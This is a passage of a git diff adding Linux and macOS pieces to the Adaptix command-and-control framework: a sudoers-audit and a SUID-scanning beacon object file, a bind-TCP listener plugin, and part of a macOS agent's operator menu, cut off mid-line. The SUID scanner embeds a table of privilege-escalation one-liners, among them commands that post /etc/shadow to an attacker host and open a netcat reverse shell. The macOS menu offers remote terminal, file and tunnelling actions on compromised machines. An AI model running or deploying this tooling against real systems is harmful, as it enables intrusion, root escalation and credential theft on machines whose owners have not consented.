Parse line by line, show non-comment, non-empty lines + const char *line = data; + int interesting = 0; + + while (line < data + len) { + const char *eol = line; + while (eol < data + len && *eol != '\n') + eol++; + + int line_len = (int)(eol - line); + + // Skip empty lines and comments + if (line_len > 0) { + // Skip leading whitespace + const char *start = line; + while (start < eol && (*start == ' ' || *start == '\t')) + start++; + + int content_len = (int)(eol - start); + if (content_len > 0 && *start != '#') { + // Check for high-value patterns + int is_nopasswd = 0; + int is_all = 0; + + // Manual search for NOPASSWD + for (const char *p = start; p + 8 <= eol; p++) { + if (AxStrncmp(p, "NOPASSWD", 8) == 0) { + is_nopasswd = 1; + break; + } + } + // Search for ALL + for (const char *p = start; p + 3 <= eol; p++) { + if (p[0] == 'A' && p[1] == 'L' && p[2] == 'L') { + is_all = 1; + break; + } + } + + char prefix[16]; + prefix[0] = ' '; prefix[1] = ' '; + int plen = 2; + if (is_nopasswd && is_all) { + // Critical: NOPASSWD + ALL + prefix[0] = '!'; prefix[1] = '!'; + } else if (is_nopasswd || is_all) { + prefix[0] = ' '; prefix[1] = '*'; + } + prefix[plen] = '\0'; + + // Print the line with truncation guard + char linebuf[1024]; + if (content_len > 1020) content_len = 1020; + AxMemcpy(linebuf, start, content_len); + linebuf[content_len] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, "%s %s\n", prefix, linebuf); + interesting++; + } + } + line = eol + 1; + } + + if (interesting == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no active rules in %s)\n", source); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Sudoers configuration audit\n"); + BeaconPrintf(CALLBACK_OUTPUT, " Legend: !! = critical (NOPASSWD+ALL), * = notable\n\n"); + + // 1. Read /etc/sudoers + char *sudoers = (char *)0; + int sudoers_len = AxReadFileToBuffer("/etc/sudoers", &sudoers, 524288); + if (sudoers_len > 0 && sudoers) { + BeaconPrintf(CALLBACK_OUTPUT, "=== /etc/sudoers ===\n"); + print_interesting_lines(sudoers, sudoers_len, "/etc/sudoers"); + AxFree(sudoers); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "[!] Cannot read /etc/sudoers (need root or sudo group)\n"); + } + + // 2. Scan /etc/sudoers.d/ + int dirfd = AxOpenDir("/etc/sudoers.d"); + if (dirfd >= 0) { + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + char *name = entry->d_name; + + // Skip . and .. and hidden files + if (name[0] != '.') { + char filepath[512]; + AxSnprintf(filepath, sizeof(filepath), "/etc/sudoers.d/%s", name); + + char *fdata = (char *)0; + int flen = AxReadFileToBuffer(filepath, &fdata, 524288); + if (flen > 0 && fdata) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s ===\n", filepath); + print_interesting_lines(fdata, flen, filepath); + AxFree(fdata); + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + } + + // 3. Check current user's groups (from /proc/self/status) + char *status = (char *)0; + int status_len = AxReadFileToBuffer("/proc/self/status", &status, 65536); + if (status_len > 0 && status) { + // Find "Groups:" line + char *groups_line = AxStrstr(status, "Groups:"); + if (groups_line) { + char *eol = groups_line; + while (eol < status + status_len && *eol != '\n') + eol++; + int gline_len = (int)(eol - groups_line); + if (gline_len > 0) { + char gbuf[512]; + if (gline_len > 511) gline_len = 511; + AxMemcpy(gbuf, groups_line, gline_len); + gbuf[gline_len] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Current process ===\n"); + BeaconPrintf(CALLBACK_OUTPUT, " PID: %d | UID: %d | EUID: %d\n", + AxGetPid(), AxGetUid(), AxGetEuid()); + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", gbuf); + } + } + AxFree(status); + } + + // 4. Check if user is in sudo/wheel group via /etc/group + char *group_file = (char *)0; + int group_len = AxReadFileToBuffer("/etc/group", &group_file, 524288); + if (group_len > 0 && group_file) { + // Get current username from /proc/self/status (Name: field) or UID + int my_uid = AxGetUid(); + + // Find username from /etc/passwd by UID + char *passwd = (char *)0; + int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288); + char my_username[256]; + my_username[0] = '\0'; + + if (passwd_len > 0 && passwd) { + char uid_str[16]; + AxSnprintf(uid_str, sizeof(uid_str), "%d", my_uid); + int uid_str_len = AxStrlen(uid_str); + + char *line = passwd; + while (line < passwd + passwd_len) { + char *eol = line; + while (eol < passwd + passwd_len && *eol != '\n') + eol++; + + // username:x:uid:... + char *c1 = AxStrchr(line, ':'); + if (c1 && c1 < eol) { + char *c2 = AxStrchr(c1 + 1, ':'); + if (c2 && c2 < eol) { + char *uid_start = c2 + 1; + char *c3 = AxStrchr(uid_start, ':'); + if (c3 && c3 < eol) { + int u_len = (int)(c3 - uid_start); + if (u_len == uid_str_len && AxStrncmp(uid_start, uid_str, u_len) == 0) { + int name_len = (int)(c1 - line); + if (name_len > 255) name_len = 255; + AxMemcpy(my_username, line, name_len); + my_username[name_len] = '\0'; + break; + } + } + } + } + line = eol + 1; + } + AxFree(passwd); + } + + if (my_username[0] != '\0') { + BeaconPrintf(CALLBACK_OUTPUT, " Username: %s\n", my_username); + + // Check privileged groups + const char *priv_groups[] = {"sudo", "wheel", "admin", "root", "docker", "lxd", "disk", (const char *)0}; + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Privileged group membership ===\n"); + + char *line = group_file; + while (line < group_file + group_len) { + char *eol = line; + while (eol < group_file + group_len && *eol != '\n') + eol++; + + // group:x:gid:member1,member2,... + char *c1 = AxStrchr(line, ':'); + if (c1 && c1 < eol) { + int gname_len = (int)(c1 - line); + + // Check if this is a privileged group + for (int i = 0; priv_groups[i]; i++) { + int pg_len = AxStrlen(priv_groups[i]); + if (gname_len == pg_len && AxStrncmp(line, priv_groups[i], gname_len) == 0) { + // Check if our user is a member + // Find last colon (members field) + char *last_colon = eol - 1; + while (last_colon > c1 && *last_colon != ':') + last_colon--; + if (*last_colon == ':') { + char *members = last_colon + 1; + int members_len = (int)(eol - members); + + // Search for username in comma-separated list + int uname_len = AxStrlen(my_username); + char *search = members; + while (search + uname_len <= eol) { + if (AxStrncmp(search, my_username, uname_len) == 0) { + char after = (search + uname_len < eol) ? *(search + uname_len) : '\0'; + if (after == ',' || after == '\0' || after == '\n') { + char gname_buf[64]; + if (gname_len > 63) gname_len = 63; + AxMemcpy(gname_buf, line, gname_len); + gname_buf[gname_len] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " [!] Member of '%s' group\n", gname_buf); + break; + } + } + // Advance to next comma or end + while (search < eol && *search != ',') + search++; + if (search < eol) search++; + } + } + } + } + } + line = eol + 1; + } + } + AxFree(group_file); + } +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c new file mode 100644 index 000000000..ef2590009 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c @@ -0,0 +1,240 @@ +/// suid_scan.c — BOF: Recursive SUID/SGID binary scanner with GTFOBins hints +/// Compile: gcc -c -o suid_scan.o suid_scan.c -include bof_api.h -Os -fPIC +/// Usage: execute bof suid_scan.o + +// getdents64 record structure +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 +#define DT_REG 8 +#define DT_LNK 10 + +#define S_ISUID 04000 +#define S_ISGID 02000 +#define S_IXUSR 00100 +#define S_IXGRP 00010 +#define S_IXOTH 00001 + +// Known GTFOBins SUID escalation targets +typedef struct { + const char *name; + const char *hint; +} gtfobins_t; + +static const gtfobins_t gtfobins[] = { + {"bash", "bash -p"}, + {"sh", "sh -p"}, + {"dash", "dash -p"}, + {"zsh", "zsh"}, + {"csh", "csh"}, + {"ksh", "ksh"}, + {"env", "env /bin/sh -p"}, + {"find", "find . -exec /bin/sh -p \\;"}, + {"nmap", "nmap --interactive -> !sh"}, + {"vim", "vim -c ':!sh'"}, + {"vi", "vi -c ':!sh'"}, + {"nano", "nano -> ^R^X -> reset; sh 1>&0 2>&0"}, + {"less", "less /etc/passwd -> !/bin/sh"}, + {"more", "more /etc/passwd -> !/bin/sh"}, + {"man", "man man -> !/bin/sh"}, + {"awk", "awk 'BEGIN {system(\"/bin/sh\")}'"}, + {"perl", "perl -e 'exec \"/bin/sh\";'"}, + {"python", "python -c 'import os; os.execl(\"/bin/sh\",\"sh\",\"-p\")'"}, + {"python3", "python3 -c 'import os; os.execl(\"/bin/sh\",\"sh\",\"-p\")'"}, + {"ruby", "ruby -e 'exec \"/bin/sh\"'"}, + {"lua", "lua -e 'os.execute(\"/bin/sh\")'"}, + {"php", "php -r 'system(\"/bin/sh\");'"}, + {"node", "node -e 'child_process.spawn(\"/bin/sh\",{stdio:[0,1,2]})'"}, + {"cp", "cp /bin/sh /tmp/sh && chmod +s /tmp/sh"}, + {"mv", "mv /bin/sh /tmp/sh (overwrite protected binary)"}, + {"dd", "LFILE=shadow && dd if=/etc/$LFILE"}, + {"tar", "tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/sh"}, + {"zip", "zip /tmp/t /etc/passwd -T --unzip-command='sh -c /bin/sh'"}, + {"gcc", "gcc -wrapper /bin/sh,-p,-s ."}, + {"make", "make -s --eval='$(shell /bin/sh -p)'"}, + {"docker", "docker run -v /:/mnt --rm -it alpine chroot /mnt sh"}, + {"pkexec", "pkexec /bin/sh (CVE-2021-4034)"}, + {"doas", "doas /bin/sh"}, + {"sudo", "sudo -l (check allowed commands)"}, + {"su", "su - (needs password)"}, + {"mount", "mount -o bind /bin/sh /usr/bin/target"}, + {"umount", "umount -l"}, + {"chroot", "chroot / /bin/sh -p"}, + {"strace", "strace -o /dev/null /bin/sh -p"}, + {"ltrace", "ltrace -b -L /bin/sh -p"}, + {"gdb", "gdb -nx -ex '!sh' -ex quit"}, + {"screen", "screen (old versions CVE-2017-5618)"}, + {"tmux", "tmux (check socket permissions)"}, + {"wget", "wget --post-file=/etc/shadow http://attacker/"}, + {"curl", "curl file:///etc/shadow"}, + {"nc", "nc -e /bin/sh attacker 4444"}, + {"ncat", "ncat -e /bin/sh attacker 4444"}, + {"socat", "socat stdin exec:/bin/sh"}, + {"ssh", "ssh -o ProxyCommand=';sh 0<&2 1>&2' x"}, + {"scp", "scp -S /tmp/evil.sh x: ."}, + {"rsync", "rsync -e 'sh -p' . localhost:/dev/null"}, + {"tee", "echo data | tee /etc/crontab (file write)"}, + {"sed", "sed -n '1e exec sh -p 1>&0' /dev/null"}, + {"ed", "ed -> !/bin/sh"}, + {"ar", "TF=$(mktemp -u); ar r $TF /etc/shadow; cat $TF"}, + {"base64", "base64 /etc/shadow | base64 -d"}, + {"xxd", "xxd /etc/shadow | xxd -r"}, + {"taskset", "taskset 1 /bin/sh -p"}, + {"time", "time /bin/sh -p"}, + {"timeout", "timeout 5 /bin/sh -p"}, + {"nice", "nice /bin/sh -p"}, + {"ionice", "ionice /bin/sh -p"}, + {"start-stop-daemon", "start-stop-daemon -n x -S -x /bin/sh -- -p"}, + {"xargs", "xargs -a /dev/null sh -p"}, + {(const char *)0, (const char *)0} +}; + +static const char *find_gtfobins_hint(const char *basename) { + for (int i = 0; gtfobins[i].name; i++) { + if (AxStrcmp(basename, gtfobins[i].name) == 0) + return gtfobins[i].hint; + } + return (const char *)0; +} + +// Extract basename from path +static const char *get_basename(const char *path) { + const char *last = path; + for (const char *p = path; *p; p++) { + if (*p == '/') last = p + 1; + } + return last; +} + +static int suid_count = 0; +static int sgid_count = 0; +static int gtfobins_count = 0; + +static void scan_directory(const char *dirpath, int depth) { + if (depth > 8) return; // Max recursion depth + + int fd = AxOpenDir(dirpath); + if (fd < 0) return; + + char dirbuf[8192]; + + while (1) { + int nread = AxReadDir(fd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + char *name = entry->d_name; + + // Skip . and .. + if (name[0] == '.' && (name[1] == '\0' || (name[1] == '.' && name[2] == '\0'))) { + pos += entry->d_reclen; + continue; + } + + char fullpath[1024]; + int dirlen = AxStrlen(dirpath); + if (dirlen + 1 + AxStrlen(name) + 1 > 1024) { + pos += entry->d_reclen; + continue; + } + AxStrcpy(fullpath, dirpath); + if (dirpath[dirlen - 1] != '/') { + fullpath[dirlen] = '/'; + fullpath[dirlen + 1] = '\0'; + } + AxStrcat(fullpath, name); + + // Recurse into directories + if (entry->d_type == DT_DIR) { + // Skip /proc, /sys, /dev, /run + if (depth == 0) { + if (AxStrcmp(name, "proc") == 0 || AxStrcmp(name, "sys") == 0 || + AxStrcmp(name, "dev") == 0 || AxStrcmp(name, "run") == 0 || + AxStrcmp(name, "snap") == 0) { + pos += entry->d_reclen; + continue; + } + } + scan_directory(fullpath, depth + 1); + } + + // Check files for SUID/SGID + if (entry->d_type == DT_REG || entry->d_type == DT_LNK) { + unsigned int mode = 0; + long fsize = 0; + unsigned int uid = 0, gid = 0; + + if (AxFileStat(fullpath, &mode, &fsize, &uid, &gid) == 0) { + int is_suid = (mode & S_ISUID) && (mode & (S_IXUSR | S_IXGRP | S_IXOTH)); + int is_sgid = (mode & S_ISGID) && (mode & (S_IXUSR | S_IXGRP | S_IXOTH)); + + if (is_suid || is_sgid) { + const char *basename = get_basename(fullpath); + const char *hint = find_gtfobins_hint(basename); + + char flags[16]; + int fi = 0; + if (is_suid) { flags[fi++] = 'S'; flags[fi++] = 'U'; flags[fi++] = 'I'; flags[fi++] = 'D'; } + if (is_suid && is_sgid) { flags[fi++] = '+'; } + if (is_sgid) { flags[fi++] = 'S'; flags[fi++] = 'G'; flags[fi++] = 'I'; flags[fi++] = 'D'; } + flags[fi] = '\0'; + + if (hint) { + BeaconPrintf(CALLBACK_OUTPUT, + "[!!] %-50s [%s] owner=%d GTFOBins: %s\n", + fullpath, flags, uid, hint); + gtfobins_count++; + } else { + BeaconPrintf(CALLBACK_OUTPUT, + " %-50s [%s] owner=%d\n", + fullpath, flags, uid); + } + + if (is_suid) suid_count++; + if (is_sgid) sgid_count++; + } + } + } + + pos += entry->d_reclen; + } + } + + AxCloseFile(fd); +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Scanning for SUID/SGID binaries...\n"); + BeaconPrintf(CALLBACK_OUTPUT, " [!!] = GTFOBins escalation candidate\n\n"); + + suid_count = 0; + sgid_count = 0; + gtfobins_count = 0; + + // Scan standard binary directories first (fast) + const char *fast_dirs[] = { + "/usr/bin", "/usr/sbin", "/usr/local/bin", "/usr/local/sbin", + "/bin", "/sbin", "/opt", + (const char *)0 + }; + + for (int i = 0; fast_dirs[i]; i++) { + scan_directory(fast_dirs[i], 2); // depth=2 to skip virtual fs skip logic + } + + // Full filesystem scan for non-standard locations + scan_directory("/home", 1); + scan_directory("/tmp", 1); + scan_directory("/var", 1); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Summary: %d SUID, %d SGID, %d GTFOBins candidates\n", + suid_count, sgid_count, gtfobins_count); +} diff --git a/AdaptixServer/extenders/linux_listener_tcp/Makefile b/AdaptixServer/extenders/linux_listener_tcp/Makefile new file mode 100644 index 000000000..ec48f2439 --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/Makefile @@ -0,0 +1,9 @@ +all: clean + @ echo " * Building listener_linux_tcp plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/listener_linux_tcp.so pl_main.go pl_transport.go + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/linux_listener_tcp/ax_config.axs b/AdaptixServer/extenders/linux_listener_tcp/ax_config.axs new file mode 100644 index 000000000..dd5e7ea5f --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/ax_config.axs @@ -0,0 +1,45 @@ +/// Linux TCP listener (internal — bind TCP for pivot) + +function ListenerUI(mode_create) +{ + let spacer1 = form.create_vspacer() + + let labelPortBind = form.create_label("Bind port:"); + let spinPortBind = form.create_spin(); + spinPortBind.setRange(1, 65535); + spinPortBind.setValue(4444); + spinPortBind.setEnabled(mode_create) + + let labelEncryptKey = form.create_label("Encryption key:"); + let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + textlineEncryptKey.setEnabled(mode_create) + let buttonEncryptKey = form.create_button("Generate"); + buttonEncryptKey.setEnabled(mode_create) + + let spacer2 = form.create_vspacer() + + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(32, "hex") ); }); + + let layout = form.create_gridlayout(); + layout.addWidget(spacer1, 0, 0, 1, 3); + layout.addWidget(labelPortBind, 1, 0, 1, 1); + layout.addWidget(spinPortBind, 1, 1, 1, 2); + layout.addWidget(labelEncryptKey, 2, 0, 1, 1); + layout.addWidget(textlineEncryptKey, 2, 1, 1, 1); + layout.addWidget(buttonEncryptKey, 2, 2, 1, 1); + layout.addWidget(spacer2, 3, 0, 1, 3); + + let container = form.create_container(); + container.put("port_bind", spinPortBind); + container.put("encrypt_key", textlineEncryptKey); + + let panel = form.create_panel(); + panel.setLayout(layout); + + return { + ui_panel: panel, + ui_container: container, + ui_height: 650, + ui_width: 650 + } +} diff --git a/AdaptixServer/extenders/linux_listener_tcp/config.yaml b/AdaptixServer/extenders/linux_listener_tcp/config.yaml new file mode 100644 index 000000000..f301c6f75 --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/config.yaml @@ -0,0 +1,7 @@ +extender_type: "listener" +extender_file: "listener_linux_tcp.so" +ax_file: "ax_config.axs" + +listener_name: "LinuxTCP" +listener_type: "internal" +protocol: "bind_tcp" diff --git a/AdaptixServer/extenders/linux_listener_tcp/go.mod b/AdaptixServer/extenders/linux_listener_tcp/go.mod new file mode 100644 index 000000000..be4ec916f --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/go.mod @@ -0,0 +1,13 @@ +module adaptix_listener_linux_tcp + +go 1.25.4 + +require ( + github.com/Adaptix-Framework/axc2 v1.2.0 + github.com/vmihailenco/msgpack/v5 v5.4.1 +) + +require ( + github.com/stretchr/testify v1.11.1 // indirect + github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect +) diff --git a/AdaptixServer/extenders/linux_listener_tcp/go.sum b/AdaptixServer/extenders/linux_listener_tcp/go.sum new file mode 100644 index 000000000..c481b50fe --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/go.sum @@ -0,0 +1,11 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= diff --git a/AdaptixServer/extenders/linux_listener_tcp/pl_main.go b/AdaptixServer/extenders/linux_listener_tcp/pl_main.go new file mode 100644 index 000000000..21fc94d30 --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/pl_main.go @@ -0,0 +1,198 @@ +package main + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + + adaptix "github.com/Adaptix-Framework/axc2" + "github.com/vmihailenco/msgpack/v5" +) + +type Teamserver interface { + TsAgentIsExists(agentId string) bool + TsAgentCreate(agentCrc string, agentId string, beat []byte, listenerName string, ExternalIP string, Async bool) (adaptix.AgentData, error) +} + +type PluginListener struct{} + +var ( + ModuleDir string + ListenerDataDir string + Ts Teamserver +) + +// Msgpack structs matching Linux agent's build_init_msg format +type StartMsg struct { + Id int `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type InitPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + Data []byte `msgpack:"data"` +} + +func InitPlugin(ts any, moduleDir string, listenerDir string) adaptix.PluginListener { + ModuleDir = moduleDir + ListenerDataDir = listenerDir + Ts = ts.(Teamserver) + return &PluginListener{} +} + +func (p *PluginListener) Create(name string, config string, customData []byte) (adaptix.ExtenderListener, adaptix.ListenerData, []byte, error) { + var ( + listener *Listener + listenerData adaptix.ListenerData + customdData []byte + conf TransportConfig + err error + ) + + if customData == nil { + if err = validConfig(config); err != nil { + return nil, listenerData, customdData, err + } + + err = json.Unmarshal([]byte(config), &conf) + if err != nil { + return nil, listenerData, customdData, err + } + + conf.Protocol = "bind_tcp" + } else { + err = json.Unmarshal(customData, &conf) + if err != nil { + return nil, listenerData, customdData, err + } + } + + transport := &TransportTCP{ + Name: name, + Config: conf, + Active: false, + } + + listenerData = adaptix.ListenerData{ + BindHost: "", + BindPort: "", + AgentAddr: fmt.Sprintf("0.0.0.0:%d", transport.Config.Port), + Status: "Stopped", + } + + var buffer bytes.Buffer + err = json.NewEncoder(&buffer).Encode(transport.Config) + if err != nil { + return nil, listenerData, customdData, err + } + customdData = buffer.Bytes() + + listener = &Listener{transport: transport} + + return listener, listenerData, customdData, nil +} + +func (l *Listener) Start() error { + l.transport.Active = true + return nil +} + +func (l *Listener) Edit(config string) (adaptix.ListenerData, []byte, error) { + var ( + listenerData adaptix.ListenerData + customdData []byte + ) + + listenerData = adaptix.ListenerData{ + BindHost: "", + BindPort: "", + AgentAddr: fmt.Sprintf("0.0.0.0:%d", l.transport.Config.Port), + Status: "Listen", + } + + var buffer bytes.Buffer + err := json.NewEncoder(&buffer).Encode(l.transport.Config) + if err != nil { + return listenerData, customdData, err + } + customdData = buffer.Bytes() + + return listenerData, customdData, nil +} + +func (l *Listener) Stop() error { + l.transport.Active = false + return nil +} + +func (l *Listener) GetProfile() ([]byte, error) { + var buffer bytes.Buffer + + err := json.NewEncoder(&buffer).Encode(l.transport.Config) + if err != nil { + return nil, err + } + + return buffer.Bytes(), nil +} + +func (l *Listener) InternalHandler(data []byte) (string, error) { + var agentId = "" + + // Decrypt with AES-128-GCM (16-byte key) + encKey, err := hex.DecodeString(l.transport.Config.EncryptKey) + if err != nil { + return "", err + } + if len(encKey) != 16 { + return "", errors.New("encrypt_key must be 16 bytes for AES-128") + } + + block, err := aes.NewCipher(encKey) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + + nonceSize := gcm.NonceSize() + if len(data) < nonceSize+gcm.Overhead() { + return "", errors.New("beat ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return "", errors.New("aes-128-gcm decrypt error") + } + + // Parse msgpack: StartMsg{id, data} → InitPack{id, type, data} + var startMsg StartMsg + if err = msgpack.Unmarshal(plaintext, &startMsg); err != nil { + return "", fmt.Errorf("msgpack StartMsg decode error: %v", err) + } + + var initPack InitPack + if err = msgpack.Unmarshal(startMsg.Data, &initPack); err != nil { + return "", fmt.Errorf("msgpack InitPack decode error: %v", err) + } + + agentType := fmt.Sprintf("%08x", initPack.Type) + agentId = fmt.Sprintf("%08x", initPack.Id) + + if !Ts.TsAgentIsExists(agentId) { + _, err = Ts.TsAgentCreate(agentType, agentId, initPack.Data, l.transport.Name, "", false) + if err != nil { + return agentId, err + } + } + + return agentId, nil +} diff --git a/AdaptixServer/extenders/linux_listener_tcp/pl_transport.go b/AdaptixServer/extenders/linux_listener_tcp/pl_transport.go new file mode 100644 index 000000000..da1cd728d --- /dev/null +++ b/AdaptixServer/extenders/linux_listener_tcp/pl_transport.go @@ -0,0 +1,44 @@ +package main + +import ( + "encoding/json" + "errors" + "regexp" +) + +type Listener struct { + transport *TransportTCP +} + +type TransportConfig struct { + Port int `json:"port_bind"` + EncryptKey string `json:"encrypt_key"` + + Protocol string `json:"protocol"` +} + +type TransportTCP struct { + Config TransportConfig + Name string + Active bool +} + +func validConfig(config string) error { + var conf TransportConfig + err := json.Unmarshal([]byte(config), &conf) + if err != nil { + return err + } + + if conf.Port < 1 || conf.Port > 65535 { + return errors.New("Port must be in the range 1-65535") + } + + // Linux agent uses AES-128-GCM (16-byte key = 32 hex chars) + match, _ := regexp.MatchString("^[0-9a-f]{32}$", conf.EncryptKey) + if len(conf.EncryptKey) != 32 || !match { + return errors.New("encrypt_key must be 32 hex characters (16 bytes for AES-128)") + } + + return nil +} diff --git a/AdaptixServer/extenders/macos_agent/Makefile b/AdaptixServer/extenders/macos_agent/Makefile new file mode 100644 index 000000000..a3cae542e --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/Makefile @@ -0,0 +1,14 @@ +all: clean + @ echo " * Building agent_macos plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_macos.so pl_main.go pl_utils.go pl_hashes_macos.go pl_encoder_macos.go + @ echo " done..." + + @ echo " * Preparing macOS agent sources" + @ cp -r src_macos ./dist/src_macos + @ cp -r src_agent ./dist/src_agent + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/macos_agent/ax_config.axs b/AdaptixServer/extenders/macos_agent/ax_config.axs new file mode 100644 index 000000000..1ce0cf62e --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/ax_config.axs @@ -0,0 +1,232 @@ +/// macOS agent — AxScript UI configuration + +let exit_action = menu.create_action("Exit", function(agents_id) { agents_id.forEach(id => ax.execute_command(id, "exit")) }); +menu.add_session_agent(exit_action, ["macos"]) + +let file_browser_action = menu.create_action("File Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_files(id)) }); +let process_browser_action = menu.create_action("Process Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_process(id)) }); +let terminal_browser_action = menu.create_action("Remote Terminal", function(agents_id) { agents_id.forEach(id => ax.open_remote_terminal(id)) }); +menu.add_session_browser(file_browser_action, ["macos"]) +menu.add_session_browser(process_browser_action, ["macos"]) +menu.add_session_browser(terminal_browser_action, ["macos"]) + +let tunnel_access_action = menu.create_action("Create Tunnel", function(agents_id) { ax.open_access_tunnel(agents_id[0], true, true, false, false) }); +menu.add_session_access(tunnel_access_action, ["macos"]); + + +let execute_action = menu.create_action("Execute", function(files_list) { + file = files_list[0]; + if(file.type != "file"){ return; } + + let label_bin = form.create_label("Binary:"); + let text_bin = form.create_textline(file.path + file.name); + text_bin.setEnabled(false); + let label_args = form.create_label("Arguments:"); + let text_args = form.create_textline(); + + let layout = form.create_gridlayout(); + layout.addWidget(label_bin, 0, 0, 1, 1); + layout.addWidget(text_bin, 0, 1, 1, 1); + layout.addWidget(label_args, 1, 0, 1, 1); + layout.addWidget(text_args, 1, 1, 1, 1); + + let dialog = form.create_dialog("Execute binary"); + dialog.setSize(500, 80); + dialog.setLayout(layout); + if ( dialog.exec() == true ) + { + let command = "run " + text_bin.text() + " " + text_args.text(); + ax.execute_command(file.agent_id, command); + } +}); +let download_action = menu.create_action("Download", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "download " + file.path + file.name) ) }); +let remove_action = menu.create_action("Remove", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "rm " + file.path + file.name) ) }); +menu.add_filebrowser(download_action, ["macos"]) +menu.add_filebrowser(remove_action, ["macos"]) + + +let job_stop_action = menu.create_action("Stop job", function(tasks_list) { + tasks_list.forEach((task) => { + if(task.type == "JOB" && task.state == "Running") { + ax.execute_command(task.agent_id, "job kill " + task.task_id); + } + }); +}); +menu.add_tasks_job(job_stop_action, ["macos"]) + + +let cancel_action = menu.create_action("Cancel", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "job kill " + file.file_id) ) }); +menu.add_downloads_running(cancel_action, ["macos"]) + + +var event_files_action = function(id, path) { + ax.execute_browser(id, "ls " + path); +} +event.on_filebrowser_list(event_files_action, ["macos"]); + +var event_upload_action = function(id, path, filepath) { + let filename = ax.file_basename(filepath); + ax.execute_browser(id, "upload " + filepath + " " + path + filename); +} +event.on_filebrowser_upload(event_upload_action, ["macos"]); + +var event_process_action = function(id) { + ax.execute_browser(id, "ps"); +} +event.on_processbrowser_list(event_process_action, ["macos"]); + + +function RegisterCommands(listenerType) +{ + let cmd_cat = ax.create_command("cat", "Read a file (less 10 KB)", "cat 